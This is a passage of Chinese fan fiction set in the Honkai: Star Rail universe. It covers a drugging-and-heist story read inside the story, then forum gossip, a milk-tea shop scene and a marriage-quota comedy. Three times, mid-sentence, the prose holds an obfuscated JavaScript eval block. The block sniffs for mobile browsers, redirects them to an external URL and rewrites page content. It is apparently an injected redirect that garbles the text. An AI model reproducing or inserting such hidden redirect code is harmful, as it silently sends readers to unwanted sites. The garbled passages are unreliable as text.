她刚要撑伞,他就已经走到了她身边,主动拿过伞往她那边偏了偏,雨丝沿着伞骨滑到他右肩,他全然没注意。 房间里只亮着床头一盏小小的阅读灯。 他站在床边,抬手把她散落在肩头的头发轻轻拨到耳后,手指触碰到她的后颈,他问可以吗。 她抬起手,用指尖慢慢拉过他的袖口,又在那里停住,轻声说可以。 他放轻了力道,重新靠近,用自己的嘴唇碰了碰她嘴角。 她闭上眼睛,睫毛在床头灯下投出细小的阴影,裙子从肩头滑落时轻轻抽了口气,但没有躲。 他察觉到她的身体在某个瞬间忽然绷紧,显然是完全没经历过触碰的本能反应。 他停下,把放在她腰侧的手移到她脸颊,用拇指轻轻按了按她的眼角,用那种在案发现场安抚被目击证人时才会用的低沉而温柔的音调说,我们慢慢来。 他确实是慢慢来的,动作克制且温柔。 她累极之后把头靠在他胸口。 他在陷入彻底的黑暗之前听到她在打电话,是中文,他听得懂。 声音压得很低,语气带着点无奈,他捕捉到了“银狼”“巧克力”“糖尿病”之类的字眼。 银狼。星核猎手的成员之一。 他浑身一震,意识瞬间从昏睡的边缘被拽了回来。他想翻身起来,但动不了,身体完全不听使唤,浑身乏力。 一种极温和且极有效的神经抑制剂。 整个身体都像是泡在温水里,连手指都不能动,但他还保持着神志清醒。 这大概就是她在论文里提过的那种可以绕过常规代谢通道被缓慢清除的新型神经阻滞剂。 兰涯从他身侧坐起来,长发从她肩头滑下,她把被他弄皱的裙子从床尾捡起来穿好,重新用两枚针盘起长发。 她的动作很从容,没有一丝慌张,走到床边坐下来,看着他的脸。她注意到了他的睫毛很轻地颤了一下,然后伸手把他翘起的那缕玄青色碎发拨回原处。 “警察先生,你的技术很好。对我新研发的药物耐受能力也令人意外地好,还能保持神志清醒。” 她拿出一叠欧元放在他胸口,然后低头在他额头上落下一吻,站起来提起登机箱,带上门。 第二天早晨所有国际新闻频道都在滚动同一条消息:瑞士雀巢公司位于沃韦的总部仓库昨日深夜发生特大盗窃案,十二吨巧克力制品全部被盗。 一名戴着银灰色假发的年轻女性曾于案发时段在仓库外围被监控拍到,对着镜头比了个V。 银狼,吃这么多巧克力,不怕得糖尿病吗? 他闭上眼睛,在透过窗帘的巴黎秋日阳光里,把手臂搁在脸上,无声地笑了。 他回到国际刑警总部之后没有提交关于兰涯的任何调查报告。 他没有告诉任何人,他在卢浮宫取样线索会议结束的那天下午,直觉就已经告诉了自己真相。 她发间的发饰就是划过玻璃最底侧的极细金属器械。 几年后,他在上海跨国文物案件会议上再次见到她,她已经作为专家代表坐在主席台上了。 散会后,他跟踪着她穿过走廊、电梯、旋转门、梧桐小路,最后停在一所幼儿园的操场外面。那个有着紫灰色眼睛的小女孩扑进她怀里喊妈妈。 她弯下腰把小女孩抱起来,转头朝他的方向看了一眼。 梧桐叶落下,她的眼睛和他第一次在塞纳河边见到她时一样,很深邃的颜色,在阳光直射下微妙地透出一点点浅金。 】 三月七把链接发过来的时候,兰涯正窝在沙发里用平板看朽叶推荐的剧,贪贪趴在她膝盖上打瞌睡。 三月七的消息弹窗跳出来: “兰妈妈,这篇同人你快看!设定感觉是杨叔老家那里人写的,国际刑警和星核猎手,写得超好!” 架不住贪饕之战后寰宇网络各方神人带起的热度,有单推的,有炒CP的,还有小孩子才做选择,我全都要的。 她注册了论坛账号,三月七发现她也看同人,而且对此完全不介意后,就开始热情推荐。可爱的无名客们不知道的是,她还有一个论坛管理员账号,是阿哈以诊金赔偿为由,私下送的,无人知晓阿哈什么时候成了账号黄牛,也无人知晓阿哈为什么要送个账号。 这件事愚者不知道,悲悼伶人也不知道,兰涯和阿哈彼此之间仿佛保持了某种默契 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539828|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都没说出去。 她对此保持热心潜水吃瓜的态度,用某个世界某位退休人士的话来说“作者颇有想法,思维飘逸,书中所写内容就连我也不甚了解,读起来很新鲜,仿佛是在看别人的人生。” 她点开链接,标题写着《塞纳河畔》,篇幅不算长,但评论区已经翻了快十页。 还没读完第一段,拉曼查从戴高乐机场走出来后的那段剧情,沙发那头就传来了熟悉的脚步声。 他刚从浴室出来,头发还没有完全擦干,穿着一件领口洗得有些发白的旧T恤,手里端着贪贪的水碗。他把水碗放在茶几边上,弯腰的时候余光扫到了她的平板屏幕,看到了“国际刑警拉曼查”几个字。 兰涯没有遮平板,他把水碗放好,非常自觉地在她旁边坐下来,用那种异常克制又异常端正的姿势说:“我保证不操键盘对线。” 操键盘对线这事,源自于论坛上某些喜欢叫嚣“焚风接得了黄泉一刀吗”的战力党。 当时有喷子直接在讨论猜测两人关系的帖子下暴言:“说真的,如果领猎人真的和医师是情侣,这也太高攀了吧。” 兰涯毫不在意,只是对这个词语有些疑惑,不是谁高攀谁的问题,是两个人都走了很长很长的路,刚好走到同一个方向。 她正翻看着,卧室那边传来脚步声。拉曼查从房间里走出来,瞟了一眼她在看什么。她没来得及收平板,屏幕上刚好是那个说“高攀”的ID在长篇大论地分析兰涯的位格和拉曼查的战力差距,最后一句是:“领猎人就高级打手,怎么配得上人家概念神?” 他咬牙切齿地说:“键盘呢,我键盘放哪了。” 兰涯用阿哈送的管理员账号把喷子给禁言了,不忘提醒他:“你忘了上次被封禁账号的事了?” 再上次,有战力党阴阳怪气说“医师纯奶妈,无任何战斗能力。” 这句话彻底惹毛了拉曼查,他接下来的回复句句充分展现了作为巡海游侠特有的鸟语花香能力不输他人,只是他平时面对普通人自我克制而已。结果还没来得及等对方举报他“人身攻击”,他直接被论坛管理系统识别出“语言不当”,封号了。 总之有了两次经验,或者说再往前推,可能还有兰涯不知道的被封号经验,他现在心平气和了很多。 她看了他一眼,把平板往他那边偏了偏,注意到他对自身右位的tag毫无反应,脸上的表情似乎还觉得这事非常合理。 文章拉下来,国际刑警拿回护照夹,和医生在桥头初次对话。 拉曼查读到这一段的时候沉默了片刻,说:“这个设定,我也会一见钟情。” 兰涯的手指在屏幕上停住了,她侧过头,他正低着头看屏幕,耳尖有一点点发红,但显然不是在说笑。她调整了一下坐姿,贪贪跟着换了个姿势继续打瞌睡:“所以你是第一次见面的时候就一见钟情了?” 拉曼查的脸完全红了,整个人像是被现场抓获的嫌疑人,沉默了好久才挤出几个字:“那个事,不用再提了。” 兰涯玩味地眨了眨眼,没有追问,拿着平板继续往下看。 文章进展到巴黎酒店最后一晚。 拉曼查忽然开口:“这是绝命毒师吧。” 她从平板上方抬起眼睛。他紫灰色的眼睛里满是难以言喻。 兰涯把屏幕上的段落重新读了一遍,陷入了思考:“下毒的话,剂量控制好的话确实可以在不造成永久损伤的前提下让对方在一段时间内失去行动能力。不过文章中用的是神经抑制剂,代谢途径太依赖肝肾功能,个体差异太大,实际操作中很难做到精准控制。” 他正想松一口气,结果她又不紧不慢地补了一句,“除非通过呼吸介入高挥发性模因病毒,那个我不需要用任何注射或口服就能精确控时。” 拉曼查用异常严正的口吻说:“你不能用你的临床经验去论证同人文下毒情节的可行性。” 兰涯把视线收回去,继续往下读了。 重逢段落很快出现在屏幕下方。 “这个设定是被二相乐园最近那些催婚催生的帖子传染了吧。”他吐槽,“评论区给孩子起的名字也很土。” 兰涯把平板放在贪贪肚子上,贪贪被轻轻地压成了一块黑煤饼干,看着他,说:“那你来起。” 然后他就真的严肃地思考了起来,显然没能在短时间内拿出答案。 文章后面的评论区已经翻了好几页,她往下划了一会儿,发现讨论热点都集中在星核猎手和终末命途的关联上,纷纷表示这个设定契合得令人发指。 她觉得网友的联想能力确实很强,这篇文应该是三月七说“杨叔老家那里人写的”,毕竟是同一位面体系里的写手。 他带着一种假设的可能性看着她:“如果当时你从虚无深渊出来,直接去找了我见,是不是就没有我们的未来了?” “不知道,”虚数之树侧过头说,“至少不会和你窝在一起看同人小说。” 他轻轻笑了一声,没有回答,只是伸手抱住她。 窗外的夜空已完全褪成静谧的深蓝色。 兰涯在朦胧中感觉到背后那只手臂收紧了。他的嘴唇贴在她耳后,说了一个词:“Azahar。在我的家乡,意思是橙花。” 贪贪睡得四仰八叉,完全不知道自己在新生这么久之后差点有了一个更好听的曾用名。 67.番外四·酒馆 那篇同人文的热度是在发布后第三天开始爆发的,起先只是同人版的常客们在底下认真讨论,然后被转到了战力讨论版,再然后,那群看热闹不嫌事大的起哄分子就闻着味道来了。 二相乐园论坛有个权限板块,叫『愚者也不能进的酒馆』,主打一个八卦到底,版规是不准愚者进板块影响一般市民吃瓜,顺便让愚者们也尝尝不准阿哈进酒馆的滋味。 至于如何能精准筛选出账号后到底是不是愚者,到哪一步才能获得进板块的权限,水友们都不知道账号筛选机制的原理,怀疑是阿哈设置的。 言归正传,对于水友们来说,虽然医师隐居了,但侦探还在鸽川区开张啊,顺藤不就能摸瓜了嘛!别的星球八卦不了的,我们能八卦,大不了把锅都让阿哈背! 第一个跳出来的是本区老牌ID,叫『鸽川区今日风速』,头像是一只在狂风中炸毛的鸽子,此人自称是单推,看往期发帖记录,最大爱好就是在权限板块损领猎人。 总之,鸽子大师发帖表示:『此文写得很好,但OOC了。』 后面立刻有人问哪里OOC。 鸽子大师秒回:『文里没有小黑煤球。』 紧接着乐子人们蜂拥而至,说大师高见!!!这篇文最大的漏洞不是没有交代星核猎手的作案动机,也不是没有补全国际刑警的内部制度,而是竟然没有小黑煤球。 鸽川区今日风速当即点名长期蹲海滨步道的『钓鱼佬永不空军』出来作证,钓鱼佬果然就跳出来说他们两个上周还在海边给小黑煤球挑选鹅卵石,如果小黑煤球不在,这两位的确是如鸽子大师所说,OOC了。 有人问钓鱼佬,那人家有煤球有石子,你呢?你钓到鱼了吗? 钓鱼佬永不空军避而不谈。 鸽子大师及时救场,一本正经地继续戳某位领猎人: 『那位能被我之女神眷顾,是把几辈子的运气都用光了。』 兰涯读到这句话时正靠在沙发上,看到之后想了一下。沙发另一头的拉曼查把贪贪放在腿上,侧过头看着她。 她一边思考一边说:“虽然这个帖子比阿哈还阿哈,但有一句话好像确实没说错,你这个喜欢梭/哈的直觉流侦探,和砂金相比,运气简直就是负数。如果不是把几辈子的运气都用光了,好像真的很难解释。” 拉曼查沉默了片刻,没有反驳,因为他自己也觉得这件事确实很难解释。他这辈子,至少是前半辈子,运气差到什么程度呢,跟人无论是打牌、赛马还是赛别的什么,但凡梭/哈从来不赢,抽卡永远大保底。 但他在诛罗之战的战场上遇到了兰涯,伸手扶起蹲太久腿麻了的医师。后来他反复回味那个时刻,确定自己在那时候就已经把之后几辈子的运气全部预支干净了。 紫灰色的眼睛看着她,向上扬起的嘴角完全不藏了:“那次在诛罗战场,就是我所有运气加在一起的总和,后面输再多也不亏。” 鸽川区今日风速,论坛传奇人物。 此人自称医师单推,但发帖风格和任何正常单推都不一样。正常单推画图、写小作文、做无料、参ONLY。鸽川区今日风速的帖子清一色是在各个帖子底下煽风点火,专门cue领猎人。 性别不明,年龄不明,身份不明,唯一确定的信息是IP地址在鸽川区某栋公寓楼,距离不死神探事务所不远。 游侠们每次看到此人发帖都想打人,又不敢真打。他们曾经顺着网线查过这个IP,那次是因为此单推连发好几个毒舌帖,被波提欧一怒之下去查定位。结果发现这人住得离事务所也太近了,几乎就是隔一条巷子。 乱破当时站在那栋公寓楼下,非常遗憾地给波提欧发了条消息,说忍侠不能随意开盒普通市民,哪怕这个市民成天在网上舞。 波提欧怒了又怒,最终熄火了,毕竟无法证明此人与任何敌对势力有关联,目前的行为定性应该只是口嗨,而且这人嘴是损了点,但好像真没什么恶意,每次损完老大还不忘夸夸单推的医师。 于是鸽川区今日风速继续在论坛上接着奏乐,接着舞。 鸽子大师本人可能完全不觉得自己有什么问题,一如既往顶着在狂风中炸毛的鸽子头像,出没在每一个提到兰涯的帖子里,重复着同样的信条——那位能被我之女神眷顾,是把几辈子的运气都用光了。 把侦探先生用“那位”来代替,也是因为鸽子大师真怕被游侠上门打。 这天下午,星和穹出现在兰涯面前时,使用了标准的可怜巴巴.jpg。 两个小浣熊跑了一上午的调查委托,头发都跑乱了。 星说:“兰妈妈,我们等会儿还要和狸猫们核对明天的刊登内容,实在没时间去探店了。”穹在旁边补充说:“新开的奶茶店就在报社斜对面,很近的。” 浣熊之心,路人皆知。 兰涯合上《苍天航路绒绒号》,直接问:“你们要什么口味?” 奶茶店确实是新开的,开在报社斜对面的街角上。店面很小,门上挂着手绘的招牌,一只鸽子叼着一杯奶茶。 兰涯推开门,店里的装修很简单,吧台后面站着店主。 店主是个看起来年纪很轻的小姑娘,她正蹲在柜子后面整理吸管,听到门上的风铃响了,整个人弹了起来,后脑勺撞在柜子边角上。 她捂着脑袋站起来,看着站在吧台前面正在看菜单的兰涯,脸瞬间红到了脖子根,用比蚊子还轻的声音说欢迎光临。 兰涯把视线从菜单上移到小姑娘脸上,微微点了一下头,报出十二杯的外带单。 不知怎么,小姑娘手指越按越抖,差点把点单机推下吧台。 兰涯伸手稳稳托住了点单机,轻轻扶正了它。 小姑娘抬头看着她,眼圈里还泛着刚才撞到头的泪花。 兰涯温柔地安慰她慢慢来。 小姑娘手抖得不行,把点单机里所有选项都从大杯按成了超大杯。兰涯看到了,没有纠正。 十二杯奶茶全部现场调配完毕时,吧台上并排铺开来。小姑娘分门别类塞进三个打包袋,然后抬起头看着兰涯,细若蚊蚋地说:“这些您一个人提得了吗?” 话音刚落,门上的风铃又响了。 “我就知道你会帮狸猫们一起带。”拉曼查推开门走进来,他看着吧台上那堆奶茶袋,眉毛挑了一下,“那两个小家伙还不信,说只让你带两杯。” 兰涯回道:“他们以为我只会帮他们带。” 拉曼查极其自然地弯腰拎起两袋奶茶,兰涯自己提起最后一袋,然后转向小姑娘店主。 小姑娘正愣愣地看着这一幕,瞳孔里的社恐本能和某种更强烈的、她可能自己都说不清的激动正在激烈交战。 兰涯向她微微颔首,声音温和:“谢谢你,辛苦了。” 小姑娘捂着嘴,拼命点头。 拉曼查拎着两袋奶茶走到门口,用自己的后背顶住店门,侧身让开,空出门框的整片空间,兰涯从他身前走过。他等她完全走出门外才松开后背让店门自动回弹,然后在门完全合拢前向吧台方向微微低头,帽檐轻点致谢。 门关上了。 小姑娘站在吧台后面,手里还攥着打包袋上拉下来的胶带,看着门外两个人并肩穿过鸽川区的街道,走向斜对面的报社。 当晚,鸽川区今日风速发了一个新帖,标题只有一行字:『我又相信父母爱情了。』 主楼内容语气还是鸽子大师的风格,但每一个字都透露出这位平时靠损领猎人为生的神人今天大概是彻底栽了。 楼主首先声明自己今天本来只是去新开的奶茶店探个店,顺便看看有没有什么值得开帖吐槽的素材,结果没想到撞上了医师本人。医师点了十二杯奶茶,全部是帮小浣熊们带的,可怜这些家伙这么大了还要妈妈帮点饮料。然后楼主还注意到一个细节,小姑娘店主应该是新开业太紧张,把十二杯大杯全部做成了超大杯,医师大概是不想给她压力,什么都没说,全单照收。十二杯全做完后,整个吧台都快装不下。小姑娘颤巍巍地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541630|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问她一个人提得了吗,楼主当时差点想冲上去说我来帮你提,然后店门就被推开了。侦探先生从外面走进来,进门的第一句话是“我就知道你会帮狸猫们一起带,那两个孩子还不信,说只让你带两杯”。他弯腰帮她拎起两袋奶茶。用自己的后背顶开店门。侧身让她先走。两只手都拎着奶茶袋还不忘向店主点头致谢。 下面水友们纷纷表示: 『你被夺舍了?还是奶茶被人往里头掺了什么?论坛第一医师单推兼头号领猎人黑粉,发了一整篇真情实感小作文赞美领猎人?今天鸽川区的风速是不是太大了。』 『当你被困愚者也不能进的酒馆,十八星神决定你见到的鸽子大师。』 『所以那个每天变着花样损人的鸽子,今天在奶茶店蹲到了真人,然后被正主一个顶门的动作当场拿下了。』 『这到底是什么展开?一个长期在论坛上煽风点火的家伙,亲眼看到了自己阴阳怪气的对象顶门提奶茶,结果直接倒戈了。』 甚至有热心水友给不知情况的水友总结: 『给各位捋一下。鸽川区今日风速,本论坛知名医师单推人。发帖风格以不嫌事大为特征,多次被游侠查过IP,最终因为游侠讲规矩没有继续开盒。今天,此人发了一篇帖子,声称我又相信父母爱情了。主楼内容是对某位先生未卜先知(心有灵犀)主动来帮忙提奶茶,还顶门让女士先走的详细描写,全文无一句损话。这还是我认识的那个鸽子吗???』 不明真相的水友被科普后终于发现了之前的开盒问题。 『所以游侠早就知道鸽子是谁了?就瞒着我们?然后鸽子自己也心知肚明游侠早就查到自己大概在哪了?两边都知道对方知道,但都不戳破?』 鸽子大师承认了: 『差不多。有一次游侠在帖子里说“那栋楼距离事务所不远”,我当时心都凉了。结果第二天什么都没有发生。没有被敲门,没有收到任何警告。他们真的挺有规矩的。』 鸽子大师这次倒是很诚恳,继续表示: 『是我本人!没被盗号,没被威胁。单纯是看了他顶门的那个侧脸之后,觉得以前损他的那些话大概有一半是偏见。』 水友们延续了看热闹不嫌事大的优良传统,纷纷问“一半是偏见,另一半呢?” 鸽子大师坦诚: 『另一半他确实运气是负数,但这部分以后不损了。因为他把一辈子的运气都用在正确的时刻了。』 昔日喊着“大师高见”的乐子人们跳出来发布结论: 『所以这是一段长期的攻防战。鸽子知道游侠知道自己的IP。游侠知道鸽子没有恶意。今天鸽子本人终于被正主的一个行为直接一击K.O. 这已经不是八卦了,这是鸽子的自我和解,笑死。』 又有过来人科普: 『话说回来,顶门这个动作,真的很普通吗?我来告诉你们,我结婚二十年,我先生每次进门,无论是家门、商场大门还是餐厅大门,都会自顾自先走。那位先生两只手都拎着大号奶茶袋,还能腾出后背顶住门,侧身让旁边的女士先过,最后还能向店家点头致谢。这种下意识的礼仪不是装得出来的。』 单身狗问: 『采访一下,你科普的时候你先生看帖子了吗?』 过来人回复: 『在旁边。他刚才看完这段,沉默了,说明天开始一定记得先替我把门推开。』 兰涯是第二天早上在阳台上喝咖啡时刷到这篇帖子的,她回想了一下昨天奶茶店里的细节,自己推门进去的时候店里没有其他顾客,只有那个慌慌张张撞到头的小姑娘店主。 在她点完单之后也没有任何人进来,直到拉曼查推开门。 而帖子里描述的那些细节,全部是吧台内侧才会看到的视角。 拉曼查端着早餐走出来,看到她若有所思地看着手机,问怎么了。 兰涯把手机递给他,他接过手机把帖文从头到尾看了一遍,然后说: “小姑娘嘛。” 68.番外五·KPI(上) 朽叶最近快被公务逼疯了。 异常防御部上半年的绩效评估表往她桌上一摊,催婚的KPI红得刺眼。 局里给的理由很充分:二相乐园常住人口增长率连续下降,为了稳定社会结构,公务员要鼓励适龄人员积极成家。 她是治安官,也归这个指标管,上次她去硝田的婚姻介绍所参与的宣传活动显然被局里认为还不够,反馈上来的后台数据里匹配成功率实在过于惨烈。 朽叶坐在办公椅上转了两圈,站起来,深吸一口气,推开办公室的门,决定从今天开始主动出击。 她的第一个目标是她手下的几个年轻队员。 午休时间,三个刚入职不久的小伙子正端着餐盘在食堂里找座位,看到朽叶大步走过来,三人本能地立正站好。 朽叶把一叠相亲注册表放在餐桌正中央:“二相乐园现在推广婚姻匹配系统,适龄青年都可以注册,填完表再吃饭。” 队员们面面相觑,其中一个鼓起勇气开口:“长官,我们连对象都没有,怎么结婚?” “没有对象就先注册匹配系统,匹配上了就有对象,有了对象就能结婚,结了婚我的KPI就能涨。”朽叶掰着手指头把犯罪链,不,逻辑链理得一清二楚,说得自己都信了。 队员们看着她眼底下那道因为连续加班没睡好的青灰色痕迹,不敢再反驳,默默拿起笔填表。 第二个目标是在巡逻时撞上的。 商店街上有两个相熟的商贩正坐在摊位后面聊天,朽叶走过去把相亲注册表放在他们的摊位上。 “治安官大人,”卖水果的商贩低头看了看表格,又抬头看了看朽叶,“我已经结婚二十年了。” “隔壁卖包子的也结婚了,”卖陶器的在旁边帮腔,“我们这条街摆摊的基本都结婚了。” “那就把表拿回去给你们认识的所有单身人士,每人一份,填完交到异常防御部办事处。”朽叶把表格往橘子边上一放,动作利落,转身就走。 两个商贩看着她的背影消失在商店街拐角,面面相觑。 “朽叶治安官最近怎么了?”卖水果的把表格拿起来翻了翻。 “听说是上面下了指标,”卖陶器的压低声音,“催婚的KPI,她部门上半年挂了红。” “怪不得,以前她从来不管这些。” 第三个目标是朽叶路过发现的。 她路过@门,看到星和穹正在打牌。 两个小浣熊今天没有委托要跑,随身还挂着狸狸报社的记者证,趁空闲来一发紧张刺激的银河战力党。 阳光正好,鸽子在电线杆上打盹。 朽叶走过去,在他们对面的坐下来,把相亲注册表放在牌桌上。 星手里的牌差点飞出去。 穹比她先反应过来,一把按住桌上差点被风吹走的牌,同时抬起头看着朽叶。 “我们才三岁。”穹说。 “对,我们还没到法定婚龄。”星紧跟着补充。 “匹配系统不设最低年龄。”朽叶把政策翻出来给他们看,上面显示的可注册年龄范围确实从零岁开始。 星和穹相互对视。 那种在货币战争A8-40里被最终Boss逼到墙角时没有D出最后一张昔涟才有的绝境求生眼神,此刻在二维市午后的阳光下显得极其默契。 星把牌往桌上轻轻一扣,身体微微前倾,换上了一种“长官我有重要情报可以提供”的语气:“朽叶姐,你手上有那么多优质单身青年,其实也不用从我们这种刚出生不久的开始。” “对!”穹紧接着说,“你应该先搞定那些最大的钉子户。” 朽叶握着注册表的手顿了顿,她抬头看着两张一本正经的小浣熊脸,问:“谁?” 穹循循善诱:“你认识的人里面,目前还没有领证的最典型案例是谁?” 朽叶沉默了片刻,然后她的眼睛慢慢睁大。 星看着朽叶的表情变化,满意地点了点头。 “兰妈妈和我太爷爷。”她说。 朽叶难以置信地看着他们。她和兰涯认识这么久,一起探店,一起逛展,一起在海边喝下午茶。她以为他们早就领了证。 他们那种相处方式,他把饭做好等着她下班,她每天和他散步遛狗,他给她设计衣服,她惯着他耍赖,总之,和已婚有什么区别? “他俩竟然没有领过证?!” 朽叶这句话说出口的时候,声音比她震慑幸福微笑研究会喊“肃静”时高了整整一个八度。 那只在电线杆上打盹的鸽子都被惊得扑棱了一下翅膀。 “问题就在这,”星把珍贵的卡牌们拢好收齐,洗牌的哗啦声像在为完美转移视线的操作充当背景音效,“哪家民政局能给他们开证?谁签谁手抖。” “这事群里早就讨论过了,没人敢说。”穹在旁边托着下巴补充道,热心地让朽叶拿出手机,要把她拉进一个小群。 朽叶一边掏出手机,一边沉思着点了点头,觉得有道理,但与此同时,她也觉得自己离KPI达标又远了一步。 知情好友群名为“命溯·御前与孤星·狼影促进同盟(待定)”,是波提欧建的。 群名被乱破改过好几次,现在这个版本带着浓重的忍法风味。 群成员包括巡海游侠的波提欧、乱破、旁白;星穹列车的星、穹、三月七、丹恒、星期日(丹恒和老日从来不说话但也不退群);仙舟方面的景元、爻光(虽然也没怎么没发过言,要么在打太极);战略投资部的托帕、真珠(托帕是翡翠、艾丝妲、黑塔的代理人,顺便也是毛茸茸同好茶会的一员);以及黄泉和朽叶。 假面愚者和悲悼伶人们一个都没被拉群,大家怕这群欢愉的家伙提前引爆核弹。 朽叶进群的时候,旁白字正腔圆地在群里总结道:“综上所述,目前唯一的问题是——没有人敢去催婚。” 穹:“我们不敢。” 三月七:“咱也不敢。” 波提欧:“他宝贝的谁提谁加训。上次聚餐的时候喝酒喝高了提了个开头,结果没过几天训练量就翻了三倍。” 星:“只能庆幸兰妈妈的论坛账号进不了权限板块,不然整个论坛都得爆炸。” 托帕:“从职场角度不建议越级汇报。医师属于最高层级战略合作伙伴,我的职级不配催婚。” 黄泉:“她开心就好。” 乱破:“缭乱忍侠可正面突破,但也需量力而行。” 旁白:“所以各位,我们唯一能做的就是继续在群里假装很努力。” 朽叶看着他们在群里聊得热火朝天却没有任何人敢去当面说这件事,一开始还在心里默默鄙夷了一下这群人的勇气值,一群能硬刚星神的颠佬,结果催个婚能把他们全部吓成这样。 不过她自己想想,自己也怂,可是KPI还在闪着红光。 当天晚上朽叶没有回家,直接去了异常防御部的资料室。她搬出哈托彼亚民法典及其补充条例,一页一页地查,从那些密密麻麻的法条里选取有用的,开始分析。 拉曼查的户口挂靠在鸽川区狸狸报社(对,不是那个隔间事务所),属于哈托彼亚常住人口;兰涯在海原市拥有公寓产权,属于哈托彼亚蓝印户口合法居民。两人如果要办理婚姻登记,理论上可以在二相乐园办理,只需要提前确认管辖权归属,再确认鸽川区和海原市的民政系统互通。 结论是:能办。程序上完全没有任何障碍。 朽叶把这条分析拍照发到了群里。 群里的反应几乎是同时的:波提欧发了个“惊恐”的表情包,乱破发了个“真的假的”的表情包,托帕开始从心理角度分析应该如何措辞,真珠甚至列了一个流程表。 而整个讨论的核心问题依然没变——谁来开口? 朽叶关了群聊,靠在椅背上看着天花板。她想到过去催过的各种目标,异常防御部那些单身男下属,商店街的小贩,甚至连三岁的小浣熊都下得了手。可到了兰涯这里,她发现自己和那些人一样怂。 然而KPI不等人,那个红色的未达标KPI比贪饕古兽还要可怕,闭着眼睛都能看到它在黑暗中一闪一闪。 第二天早上,朽叶站在异常防御部大门口。 她终于下定决心,与其指望群里那些不敢开口的家伙,还不如自己亲自去碰一碰运气。她把注册表打印了一份新的折好放进口袋,又拿了一叠二相乐园婚姻匹配系统的宣传册,迈开了步子。 她的第一个目标是不死神探事务所。来开门的是拉曼查本人,他显然刚开张不久,一脸状况外。 朽叶站在门口深吸一口气,开始把早就准备好的话说出来:“我们应当督促年轻人形成对婚姻的向往,发现婚姻的内在美,结婚有很多好处,比如可以共享医疗保险,公寓物业费可以申请双人减免——” 她话还没说完,拉曼查打断了她:“朽叶,你是不是上班上疯了?” “你再不结婚,我的KPI要让我真的疯了。”朽叶闭上眼睛,又睁开,目光里充满坚定,“你们不能妨碍公务员办公,不然我将强行征用你们完成用户注册和匹配成功率。” “你们异常防御部最近的指标真是花样百出。”拉曼查说完这句话,轻轻把门关上了。 朽叶站在门外,看着那扇紧闭的门,没关系,还有第二个目标。 兰涯正要去上班,听到有人敲门,开门发现是朽叶。 治安官眼底下有连续加班好几天留下的青灰色痕迹,客厅里,她正襟危坐的姿势简直像个被上司约谈的新人,和那个周末一起悠闲地在海边喝下午茶的朽叶判若两人。 “二相乐园最近在推广婚姻匹配系统,”朽叶开门见山,语气比她平时开会做汇报时更加郑重,“你作为哈托彼亚常住居民,完全符合注册条件。注册之后可以享受多项便民福利,包括医疗资源共享、住房补贴、冷链物流配送——”她说得很快,像是排练过很多次,但到后面语速明显越来越快,有种让我说完吧求求你了的痛苦。 兰涯安静地听她说完,然后说:“我会考虑。” 朽叶走出公寓,站在海边步道上仰头望着碧蓝的天空。 我会考虑。这四个字的近义词是“下次一定”,可以是“明天就办”,可以是“一个琥珀纪以后再提”,也可以是“我说考虑只是不想让你太失落”。 朽叶发现自己完全无法判断是哪种。 反正她真的去催了,至于自己说的那些话有没有效果,她不知道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546315|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她只是把翻来覆去想出来的话全倒了出来,本人,异常防御部治安官朽叶,这辈子抓过逃犯,挡过模因污染,打击过邪教,在贪饕危机中协助解封贪饕碎片的封印,但催婚这件事比她以前做过的所有任务加起来都更难。 她决定再想一个办法,最后再想一个,没有更多了。 当天晚上朽叶加完班回到家,靠在沙发上对着天花板发了好一会儿呆,拿起手机打开那个熟悉的论坛,进入权限板块,在发帖框里打了一大段又删掉,又打了一大段又删掉,最后把内容换成了一篇比较含蓄又不太含蓄的求助帖。 她写的是:“我有两个朋友,谈了不领证。感情很好,同居很久,一起遛狗散步做饭,怎么看都已经是两口子。但他们就是不领证,怎么劝?”发完之后,她靠在沙发上握着手机就睡着了。第二天早上醒来,她打开论坛,发现帖子已经盖了几百楼。 前面还算正常。有人回复“你说的这个朋友是不是你自己”,有人分析可能是当事人对婚姻制度本身有顾虑,有人建议从安全感角度出发循序渐进地沟通。 然后到第6楼,一个熟悉的ID出现了——鸽川区今日风速。 鸽子大师的回复只有一句话:“虽然你隐去了关键信息,但我的直觉告诉我,那只狗是不是圆滚滚的黑色煤球,不说它是狗,你完全不知道它是狗,喜欢捡海滩上的鹅卵石?” 朽叶盯着这条回复,手指停在屏幕上,完了,这下所有人都知道她在催谁的婚了。 她往下划了划,发现后面跟着一整排回复:“我也想到了。”“不愧是鸽子大师,神探啊!”“鸽子大师这不得去夺了那位侦探的生意!”“大师这直觉,高低得封个巡猎令使。” 